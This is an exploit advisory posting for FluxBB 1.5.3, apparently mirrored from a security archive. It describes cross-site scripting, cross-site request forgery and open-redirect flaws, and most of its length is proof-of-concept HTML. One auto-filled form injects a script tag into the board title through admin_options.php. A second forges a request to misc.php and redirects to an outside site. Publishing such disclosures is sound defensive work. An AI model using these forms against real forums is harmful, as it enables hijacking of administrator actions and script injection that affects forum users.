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FluxBB 1.5.3 XSS / CSRF / URL Redirection

FluxBB 1.5.3 XSS / CSRF / URL Redirection
Posted Jul 29, 2013
Authored by LiquidWorm | Site zeroscience.mk

FluxBB version 1.5.3 suffers from cross site scripting, cross site request forgery, and URL redirection vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | 3d2a429f0d7f7702aac350cfb0a31594ad3302501c55568dfa29c8812f3a4a6e
Download | Favorite | View

FluxBB 1.5.3 XSS / CSRF / URL Redirection

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<!--

FluxBB 1.5.3 Multiple Remote Vulnerabilities


Vendor: FluxBB
Product web page: http://www.fluxbb.org
Affected version: 1.5.3

Summary: FluxBB is fast, light, user-friendly forum software for your website.

Desc: FluxBB suffers from a cross-site scripting, cross-site request forgery
and URL redirect vulnerability. The application allows users to perform certain
actions via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site. Input passed via the
'redirect_url' parameter in 'misc.php' script is not properly verified before
being used to redirect users. This can be exploited to redirect a user to an
arbitrary website e.g. when a user clicks a specially crafted link to the
affected script hosted on a trusted domain. It also fails to properly sanitize
user-supplied input to the 'form[board_title]' POST parameter in the 'admin_options.php'
script. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2013-5150
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5150.php



27.07.2013

-->


<html>
<head>
<title>FluxBB 1.5.3 Multiple Remote Vulnerabilities</title>
</head>
<body><center><br />
<form method="POST" action="http://localhost/fluxbb/admin_options.php">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="form[board_title]" value='<script>alert(1)</script>' />
<input type="hidden" name="form[base_url]" value="http://localhost/fluxbb" />
<input type="hidden" name="form[default_timezone" value="0" />
<input type="hidden" name="form[default_dst" value="0" />
<input type="hidden" name="form[default_lang" value="English" />
<input type="hidden" name="form[default_style" value="Air" />
<input type="hidden" name="form[time_format" value="H:i:s" />
<input type="hidden" name="form[date_format" value="Y-m-d" />
<input type="hidden" name="form[timeout_visit" value="1800" />
<input type="hidden" name="form[timeout_online" value="300" />
<input type="hidden" name="form[redirect_delay" value="1" />
<input type="hidden" name="form[show_version" value="0" />
<input type="hidden" name="form[show_user_info" value="1" />
<input type="hidden" name="form[show_post_count" value="1" />
<input type="hidden" name="form[smilies]" value="1" />
<input type="hidden" name="form[smilies_sig" value="1" />
<input type="hidden" name="form[make_links" value="1" />
<input type="hidden" name="form[topic_review" value="15" />
<input type="hidden" name="form[disp_topics_default" value="30" />
<input type="hidden" name="form[disp_posts_default" value="25" />
<input type="hidden" name="form[indent_num_spaces" value="4" />
<input type="hidden" name="form[quote_depth" value="3" />
<input type="hidden" name="form[quickpost" value="1" />
<input type="hidden" name="form[users_online" value="1" />
<input type="hidden" name="form[censoring" value="0" />
<input type="hidden" name="form[signatures" value="1" />
<input type="hidden" name="form[show_dot" value="0" />
<input type="hidden" name="form[topic_views" value="1" />
<input type="hidden" name="form[quickjump" value="1" />
<input type="hidden" name="form[gzip" value="0" />
<input type="hidden" name="form[search_all_forums" value="0" />
<input type="hidden" name="form[additional_navlinks" value="" />
<input type="hidden" name="form[feed_type" value="2" />
<input type="hidden" name="form[feed_ttl" value="0" />
<input type="hidden" name="form[report_method" value="0" />
<input type="hidden" name="form[mailing_list" value="lab@zeroscience.mk" />
<input type="hidden" name="form[avatars" value="1" />
<input type="hidden" name="form[avatars_dir" value="img/avatars" />
<input type="hidden" name="form[avatars_width" value="60" />
<input type="hidden" name="form[avatars_height" value="60" />
<input type="hidden" name="form[avatars_size" value="10240" />
<input type="hidden" name="form[admin_email" value="lab@zeroscience.mk" />
<input type="hidden" name="form[webmaster_email" value="lab@zeroscience.mk" />
<input type="hidden" name="form[forum_subscriptions" value="1" />
<input type="hidden" name="form[topic_subscriptions" value="1" />
<input type="hidden" name="form[smtp_host" value="" />
<input type="hidden" name="form[smtp_user" value="" />
<input type="hidden" name="form[smtp_pass1" value="" />
<input type="hidden" name="form[smtp_pass2" value="" />
<input type="hidden" name="form[smtp_ssl" value="0" />
<input type="hidden" name="form[regs_allow" value="1" />
<input type="hidden" name="form[regs_verify" value="0" />
<input type="hidden" name="form[regs_report" value="0" />
<input type="hidden" name="form[rules" value="0" />
<input type="hidden" name="form[rules_message" value="Enter+your+rules+here" />
<input type="hidden" name="form[default_email_setting" value="1" />
<input type="hidden" name="form[announcement" value="0" />
<input type="hidden" name="form[announcement_message" value="Enter+your+announcement+here." />
<input type="hidden" name="form[maintenance" value="0" />
<input type="hidden" name="form[maintenance_message" value="Forum Down!" />
<input type="hidden" name="save" value="Save+changes" />
<input type="submit" value="XSS" />
</form>
<br />
<form method="POST" action="http://localhost/fluxbb/misc.php?email=2">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="http://www.zeroscience.mk" />
<input type="hidden" name="req_message" value="Follow the Spirit" />
<input type="hidden" name="req_subject" value="ZSL" />
<input type="hidden" name="submit" value="Submit" />
<input type="submit" value="Forge and Redirect" />
</form>
</body>
</html>
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